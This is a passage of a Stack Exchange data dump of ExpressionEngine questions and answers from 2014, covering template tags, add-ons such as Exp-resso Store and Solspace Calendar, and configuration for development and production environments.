  <row Id="21568" PostTypeId="2" ParentId="21565" CreationDate="2014-04-30T15:36:56.537" Score="1" Body="&lt;p&gt;Not by any EE settings, however you could do this by injecting some javascript to click the &lt;code&gt;Title&lt;/code&gt; column on page load. Install the &lt;a href=&quot;https://github.com/pixelandtonic/cp_css_js&quot; rel=&quot;nofollow&quot;&gt;CP CSS &amp;amp; JS&lt;/a&gt; add-on and add the snippet below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check to see if element exists first, then click&#xA;if ($('th[data-table_column=&quot;title&quot;]').length &amp;gt; 0) { &#xA;    $('th[data-table_column=&quot;title&quot;]').click();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-04-30T15:36:56.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21569" PostTypeId="1" AcceptedAnswerId="21604" CreationDate="2014-04-30T15:45:53.997" Score="0" ViewCount="61" Body="&lt;p&gt;I'm running 2.7.2 and I have a text input field called article summary that is set to format none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However on the front end the input is getting wrapped in p tags but weirdly enough it's only happening on the first entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;summary&quot;&amp;gt;{article_subtitle}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on the front end comes out as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p class=&quot;summary&quot;&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Article Subtitle content&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried the suggestion on this post but with no luck: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/15120/unformatted-field-data-wrapped-in-p-tags-on-output&quot;&gt;Unformatted Field Data Wrapped in &amp;lt;p&amp;gt; Tags on Output&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-05-31T15:43:23.453" Title="Text Input Field Being Wrapped in &lt;p&gt; tags only for first entry" Tags="|channel-entries|text-formatting|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21570" PostTypeId="1" AcceptedAnswerId="21571" CreationDate="2014-04-30T15:50:52.083" Score="0" ViewCount="49" Body="&lt;p&gt;&lt;em&gt;EDIT: Nevermind - case of outdated indexes. Could really use a warning when this happens though...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.8.1, Assets 2.3.1, Matrix 2.5.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a Matrix field with an Assets column, which is restricted to a specific Upload Destination. Said destination has subfolders. When I select a file from the Upload Destination folder itself, things work as expected. However, when I select a file from one of the subfolders, nothing appears to register.&lt;/p&gt;&#xA;" OwnerUserId="544" LastEditorUserId="544" LastEditDate="2014-04-30T21:56:00.203" LastActivityDate="2014-04-30T21:56:00.203" Title="Assets in a Matrix can't select files from a subfolder" Tags="|matrix|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21571" PostTypeId="2" ParentId="21570" CreationDate="2014-04-30T16:12:51.763" Score="2" Body="&lt;p&gt;Ok, for some reason, the Assets index was outdated for that folder, showing a weird mixture of old and current folders and files. I'm still not sure I'm ok with the ease at which both EE and Assets' indexes get out of sync without warning, but a re-indexing resolved the issue. Sorry for the false alarm.&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2014-04-30T16:12:51.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21572" PostTypeId="1" AcceptedAnswerId="21573" CreationDate="2014-04-30T18:02:26.593" Score="1" ViewCount="57" Body="&lt;p&gt;I am using Profile:Edit for new member registration, but because I need to skip the email conformation step, is there a way to notify the new member of their registration, just to let them know they are now registered?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-04-30T18:14:22.990" Title="Member Registration Notification Options" Tags="|profile-edit|notification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21573" PostTypeId="2" ParentId="21572" CreationDate="2014-04-30T18:14:22.990" Score="1" Body="&lt;p&gt;There are a number of add-ons available that will allow a notification email to be sent upon creation of an entry, which is what Profile:Edit does. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-30T18:14:22.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21575" PostTypeId="2" ParentId="20840" CreationDate="2014-04-30T18:36:47.393" Score="3" Body="&lt;p&gt;I found this add-on by typing &quot;expressionengine, expiration date required&quot; into Google: &lt;a href=&quot;http://devot-ee.com/add-ons/required-expiry-date&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/required-expiry-date&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-04-30T18:36:47.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21576" PostTypeId="1" AcceptedAnswerId="21580" CreationDate="2014-04-30T18:40:25.333" Score="1" ViewCount="81" Body="&lt;p&gt;Are there any add-ons that can help speed up the process of adding large batches of images to an EE channel (that is, each image gets its own entry, rather than a gallery-per-entry situation) and applying specific tags to each batch of images? Or is the best approach to get Zenbu &amp;amp; Henshu to edit the entries after the fact? Does it handle tags?&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2014-06-03T16:22:42.953" Title="Add-ons for &quot;batch&quot; entry addition &amp; tagging?" Tags="|tags|addons|zenbu|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21577" PostTypeId="1" AcceptedAnswerId="21584" CreationDate="2014-04-30T18:40:46.017" Score="0" ViewCount="88" Body="&lt;p&gt;I'm working on a project that only has one server to work with. That means the production and development server are the same and development is a sub domain (dev.example.com). In the past when I've run into this it hasn't been an issue to use the Focus Labs multi environment bootstrap setup. I just put both system folders above webroot:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pulblic_html&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.example.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;dev.example.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However on this project we want to put the system folder above webroot:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;li&gt;Public_html&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.example.com&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That presents a problem when putting dev on the same server. They would both point to the same folder above webroot. Is there a way to have the bootstrap file look for a different system folder above webroot?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;li&gt;system_dev&lt;/li&gt;&#xA;&lt;li&gt;public_html&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.example.com&lt;/li&gt;&#xA;&lt;li&gt;dev.example.com&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I trie hacking around the config file, but didn't have any luck. Anyone do this? It seems like a pretty common scenario people would encounter. &lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2014-04-30T21:53:45.167" Title="Multi-Evironment config bootstrap above webroot on a single server" Tags="|focus-lab-master-config|staging-server|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21578" PostTypeId="2" ParentId="21577" CreationDate="2014-04-30T18:45:56.573" Score="3" Body="&lt;p&gt;Ultimately it comes down to your hosting company and how much control they have over mapping the domain's web root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd ask your host if you can re-map the production domain to point to /public_html/public. Same with your development domain, have it mapped to dev_html/public. So your setup will look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;dev_html&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;li&gt;public&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;public_html&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;li&gt;public&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Or, another option would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public_html&#xA;&lt;ul&gt;&#xA;&lt;li&gt;www.example.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public&lt;/li&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;dev.example.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public&lt;/li&gt;&#xA;&lt;li&gt;system&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That way you can keep your above-root assets separate and tidy.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2014-04-30T18:52:19.757" LastActivityDate="2014-04-30T18:52:19.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21579" PostTypeId="2" ParentId="21524" CreationDate="2014-04-30T18:58:55.430" Score="1" Body="&lt;p&gt;&lt;strong&gt;Found Answer:&lt;/strong&gt; Check out the rte.image.php file, line 32. &lt;code&gt;'cp_only' =&gt; 'n'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was originally set to 'y'. Now to get it functioning!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps others.&lt;/p&gt;&#xA;" OwnerUserId="2902" LastActivityDate="2014-04-30T18:58:55.430" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21580" PostTypeId="2" ParentId="21576" CreationDate="2014-04-30T19:03:45.833" Score="2" Body="&lt;p&gt;If you're able to compile all of your data into something like a spreadsheet, you may be able to use one of the import add-ons like &lt;a href=&quot;http://devot-ee.com/add-ons/importer&quot; rel=&quot;nofollow&quot;&gt;Solspace Importer&lt;/a&gt;, &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;Data Grab&lt;/a&gt;, or &lt;a href=&quot;http://devot-ee.com/add-ons/data-import&quot; rel=&quot;nofollow&quot;&gt;Data Import&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using Solspace Importer for something similar to what you want to do, and it works well--and accomplishes a big chunk of the batch processing that I need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in my case, after I run Importer to create and populate the entries, I need to do some custom SQL to translate the image file names that come from my spreadsheet into actual file entries in Assets, and into corresponding references in the Assets fields in the EE channel entry data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you use an import add-on, part of what you have to account for is the type of field you're using to store the image references. Each field type has it's own data structure in EE, albeit many store simply text in the regular EE channel data, and so don't require any special handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above add-ons handle a bunch of different field types between them, so one or other may handle 100% of what you need. Otherwise, you might need to do some custom processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, otherwise Zenbu &amp;amp; Henshu are probably the best way to go.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-04-30T19:03:45.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21581" PostTypeId="2" ParentId="21331" CreationDate="2014-04-30T19:24:22.513" Score="0" Body="&lt;p&gt;Does &lt;code&gt;{super_search_keywords}&lt;/code&gt; contain the category name when the search is on a category? Unlike &lt;code&gt;{super_search_category}&lt;/code&gt; which works only outside of the results loop, &lt;code&gt;{super_search_keywords}&lt;/code&gt; can be used within it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, the one thing to say about Stash that maybe isn't clear from @Natetronn's answer, is that you could use Stash to capture the value of &lt;code&gt;{super_search_category}&lt;/code&gt; outside of the results loop, and then use that value inside the results loop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Stash to solve your issue would be slightly complicated, so best to see if &lt;code&gt;{super_search_keywords}&lt;/code&gt; solves your issue first. And, maybe NSM Transplant could work similarly to Stash in this regard. But Stash is particularly good at letting you move values in and out of contexts and perform conditionals on those values. (The hard part, of course, is figuring out which freakin' context each part of your code is in, in relation to EE's outside-to-inside parse order…)&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-04-30T19:24:22.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21582" PostTypeId="1" CreationDate="2014-04-30T19:36:23.280" Score="1" ViewCount="42" Body="&lt;p&gt;Wondering if anyone has seen anything like this lately--might be an issue from Facebook (i.e., affecting all version of Facebook Connect). Or, it might be something particular to these old versions and/or this particular site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On an EE 1.7.x site running Solspace's Facebook Connect 2.0.9, the &lt;code&gt;{fbc_facebook_name}&lt;/code&gt; variable suddenly stopped working about 10 days ago. It's used in this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:fbc:member_data member_id=&quot;CURRENT_USER&quot; profile_pic_size=&quot;square&quot;}{fbc_facebook_name}{/exp:fbc:member_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, instead of pulling in a user's Facebook name, the unparsed tag shows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The corresponding symptom is that, when a new user logs in via FBC for the first time, their EE &lt;code&gt;{name}&lt;/code&gt; is not their Facebook name, but an obvious placeholder name from FBC, like facebook1000000000000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see, as well that other fields like &lt;code&gt;{fbc_facebook_username}&lt;/code&gt; similarly fail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then other aspects of FBC seem to be working fine, and, for example, the site is still pulling the correct FB profile pictures via this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:fbc:member_data member_id=&quot;{author_id}&quot; profile_pic_size=&quot;square&quot; profile_pic_height=&quot;50&quot; profile_pic_width=&quot;50&quot;}{fbc_profile_pic}{/exp:fbc:member_data}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone see anything like this recently? Any ideas about what's going on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other clue I have is that this issue started right after the Heartbleed bug, and this site did have an SSL certificate change in response to that. But this is maybe (probably?) purely coincidental.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-04-30T19:36:23.280" Title="Facebook Connect no longer pulling {fbc_facebook_name}" Tags="|solspace|facebook|solspace-facebookconnect|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21583" PostTypeId="1" CreationDate="2014-04-30T21:42:51.920" Score="1" ViewCount="52" Body="&lt;p&gt;Excuse my ignorance but I know very little about Expression Engine and CartThrob.  Of course if I knew it all, I would need to ask this question would I?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm in ExpressionEngine and I click on CartThrob -&gt;Products -&gt;Store - Products, I click on one of the items listed under the Title column.  It brings up a form where we can enter &quot;Size Options&quot;  In there we can enter the following informaiton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Option Short Name {option_value}&#xA;Option Label {option_name}&#xA;Price {price}&#xA;Inventory {inventory}&#xA;Weight {weight}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how many of these size options can I enter?  I have been told that the limit is 150 but find that difficult believe, but I haven't been able to find documentation to support or refute that claim.&lt;/p&gt;&#xA;" OwnerUserId="3044" LastActivityDate="2014-05-30T23:43:48.057" Title="How many size options are allowed per item?" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21584" PostTypeId="2" ParentId="21577" CreationDate="2014-04-30T21:53:45.167" Score="1" Body="&lt;p&gt;Another option, though not ideal, would be to put a conditional in the index.php and admin.php files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch ($_SERVER['HTTP_HOST']) {&#xA;    case &quot;www.example.com&quot; :&#xA;        $system_path = &quot;../system&quot;;&#xA;    break;&#xA;&#xA;    case &quot;dev.example.com&quot; :&#xA;        $system_path = &quot;../system_dev&quot;;&#xA;    break;&#xA;&#xA;    default :&#xA;        $system_path = &quot;../system&quot;;&#xA;    break;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1232" LastActivityDate="2014-04-30T21:53:45.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21586" PostTypeId="1" CreationDate="2014-04-30T22:30:31.400" Score="1" ViewCount="22" Body="&lt;p&gt;I'm trying to create a listing in my checkout tag of all the adjustments ( taxes, discount ). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I use the {adjustments} tag, they don't print anything. The tags just show up with my markup. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a simplified version of my cart. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout next=&quot;cart/checkout&quot;}&#xA;  {adjusments}&#xA;    &amp;lt;tr&amp;gt;&#xA;      &amp;lt;td&amp;gt;{adjustment:name}&amp;lt;/td&amp;gt;&#xA;      &amp;lt;td&amp;gt;{adjustment:amount}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;  {/adjustments}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Sbd4N.png&quot; alt=&quot;Screen Capture of my cart&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3002" LastActivityDate="2014-04-30T22:45:50.853" Title="Adjustments tag isn't displaying in {exp:store:checkout}" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21588" PostTypeId="2" ParentId="21586" CreationDate="2014-04-30T22:45:50.853" Score="1" Body="&lt;p&gt;Ha! There was just a typo in the documentation. No wonder!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#adjustments_loop&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/checkout_tag.html#adjustments_loop&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3002" LastActivityDate="2014-04-30T22:45:50.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21589" PostTypeId="2" ParentId="21583" CreationDate="2014-04-30T23:32:05.173" Score="1" Body="&lt;p&gt;We've set up quite a large site (1500+ products) which uses about 12 different product options - each of which will have between 2 and 8 choices. I think we've used a max of 3 options on any one product. I don't know of a limit, but if it was 150, this should be more than enough for even the largest of stores. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can always reduce the options you need by naming them a little more generically. So simply &lt;em&gt;size&lt;/em&gt; or &lt;em&gt;colour&lt;/em&gt; rather than being too specific would help keep the count down. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are even getting close to 150 options, then something has probably gone awry in the site's planning. Either than or you should probably be looking at an enterprise platform :-)&lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2014-04-30T23:32:05.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21590" PostTypeId="1" CreationDate="2014-04-30T23:54:40.830" Score="1" ViewCount="109" Body="&lt;p&gt;I only want to sell products to US residents. From the Exp-resso admin panel, I've set the United States to be the only enabled country. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I set up the billing form ( I'm using store_example/checkout2 ) I can't access any states from the state  . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like Exp-resso store is using JavaScript to populate the state select tag after you make a country selection. However, when there is only one country, the change isn't registering. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting a default country &amp;amp; state isn't making a difference either ( no matter how many countries are enabled ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5pmbV.png&quot; alt=&quot;Store admin settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3002" LastActivityDate="2014-11-01T04:41:17.043" Title="Exp-resso won't show states when US is only country" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21591" PostTypeId="1" CreationDate="2014-04-30T23:54:58.267" Score="0" ViewCount="73" Body="&lt;p&gt;Does {exp:calendar:events} accept dynamic parameters?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to pass this in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;calendar_id=&quot;{tunnel_calendar}{entry_id}{/tunnel_calendar}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where {tunnel_calendar} is a PLAYA field but this isn't being parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2016-06-18T14:51:49.643" Title="Solspace Calendar &amp; dynamic parameters" Tags="|playa|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21592" PostTypeId="1" CreationDate="2014-05-01T00:17:26.020" Score="0" ViewCount="145" Body="&lt;p&gt;I have a drop down that lists all the Calendars. However I would like to only show Calendars that have an event assigned to them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need something like the show_empty tag for EE Category Archive: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/category_archive.html#show-empty&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/add-ons/channel/category_archive.html#show-empty&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2016-06-17T12:39:50.417" Title="Solspace Calendar : Only retrieve calendars that have events" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21593" PostTypeId="1" CreationDate="2014-05-01T00:39:58.470" Score="0" ViewCount="178" Body="&lt;p&gt;Is there a way to check if a template page exists?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we embed pages we do it like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;foo/bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was thinking if it was possible to do something like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {template_exists path=&quot;some/path&quot;}}&#xA;  PAGE EXISTS&#xA;{if:else}&#xA;  PAGE DOES NOT EXISTS&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-06-01T23:37:00.747" Title="Check if template page exists" Tags="|templates|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21594" PostTypeId="1" AcceptedAnswerId="21614" CreationDate="2014-05-01T01:05:19.507" Score="1" ViewCount="46" Body="&lt;p&gt;I am trying to list 3 previous events but I'm not getting any results. Does anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events &#xA;                            event_limit=&quot;3&quot; &#xA;                            status=&quot;open&quot; &#xA;                            date_range_end=&quot;today&quot; &#xA;                            show_weeks=&quot;10&quot; &#xA;                            orderby=&quot;event_start_date&quot; &#xA;                            sort=&quot;desc&quot;&#xA;                            calendar_id=&quot;not 400|402&quot;&#xA;                        }&#xA;                        &amp;lt;div class=&quot;col-xs-4 events-item&quot;&amp;gt;&#xA;                            &amp;lt;a href=&quot;{event_url_title}&quot; class=&quot;image-block&quot;&amp;gt;&#xA;                                {event_images limit=&quot;1&quot;}&#xA;                                &amp;lt;img src=&quot;{image:url:small}&quot; alt=&quot;{event_title}&quot;&amp;gt;&#xA;                                {/event_images}&#xA;                            &amp;lt;/a&amp;gt;&#xA;                            &amp;lt;div class=&quot;date&quot;&amp;gt;{event_start_date format=&quot;%M %j, %Y&quot;} - {event_end_date format=&quot;%M %j, %Y&quot;}&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;h3&amp;gt;{event_title}&amp;lt;/h3&amp;gt;&#xA;                            &amp;lt;div class=&quot;description&quot;&amp;gt;&#xA;                                {event_snippet}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;a href=&quot;/events/{event_url_title}&quot; class=&quot;blue&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- /row events-item--&amp;gt;&#xA;                        {/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2290" LastActivityDate="2014-05-02T02:09:22.300" Title="Solspace Calendar : Not able to retrieve previous events" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21595" PostTypeId="1" CreationDate="2014-05-01T01:34:30.853" Score="1" ViewCount="22" Body="&lt;p&gt;During development, I sent some orders through to confirm that payment processing was working. Is is possible to delete those orders and reset the order count?&lt;/p&gt;&#xA;" OwnerUserId="2390" LastActivityDate="2014-05-01T01:34:30.853" Title="Is it possible to reset Expresso Store order count?" Tags="|expresso-store|" AnswerCount="0" CommentCount="0" ClosedDate="2014-05-01T05:44:53.473" ContentLicense="CC BY-SA 3.0" />
  <row Id="21596" PostTypeId="1" CreationDate="2014-05-01T02:37:43.110" Score="0" ViewCount="58" Body="&lt;p&gt;I have a plugin that will accept posted form data from a member group and then create or update a channel entry which that member group is not given permission to post or update in (via the control panel settings for member group permissions).  The reason for the permissions restrictions is due to the way that the Channel Forms Module is implemented, and that allowing permissions gives users in that member group the ability to edit things they should not be allowed to unless the member group is restricted.  It also seems best to follow the principle of least privilege in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I do actually want the member group to be able to create an entry in the restricted channel when they initiate it by posting valid data through my plugin, but not be allowed to edit it after doing so.  Thus, it becomes necessary to initiate a temporary session for a user from a member group with elevated posting/editing permissions to use the Channel Entries API save_entry function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether this poses any security implications?  If the session is set in the plugin and the php script somehow gets aborted before the session is closed, that gives the user elevated posting permissions and they will be logged-in as the elevated temporary session user.  How can this be avoided?  Is there a way to trigger EE to notice a new or edited entry by something like database query without initiating an elevated session?&lt;/p&gt;&#xA;" OwnerUserId="2842" LastEditorUserId="2842" LastEditDate="2014-05-22T06:53:03.293" LastActivityDate="2014-05-22T06:53:03.293" Title="Is it safe to initiate a temporary session in plugin for use with the Channel Entries API?" Tags="|add-on-development|channel-form|sessions|security|channel-entries-api|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21597" PostTypeId="1" CreationDate="2014-05-01T09:02:35.223" Score="0" ViewCount="1640" Body="&lt;p&gt;I am using the simple search form on EE 2.8.1 with the following tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form&#xA;                    channel=&quot;blog|products|faq&quot;&#xA;                    where=&quot;any&quot;&#xA;                    results=&quot;20&quot;&#xA;                    form_class=&quot;et-search-form et-hidden&quot;&#xA;                    no_result_page=&quot;/search/&quot;&#xA;                    result_page=&quot;/search/results&quot;&#xA;&#xA;                }&#xA;                &amp;lt;input type=&quot;search&quot; class=&quot;et-search-field&quot; placeholder=&quot;Search …&quot; value=&quot;&quot; name=&quot;keywords&quot; title=&quot;Search for:&quot;&amp;gt;&#xA;                {/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form works as intended when there is a search result. If there is no search result the form will throw the error &quot;&lt;strong&gt;The action you have requested is invalid&lt;/strong&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the &lt;strong&gt;no_result_page&lt;/strong&gt; parameter will result in EE showing me &quot;Your search did not return any results.&quot; message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the secure form submission issue and included &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But no 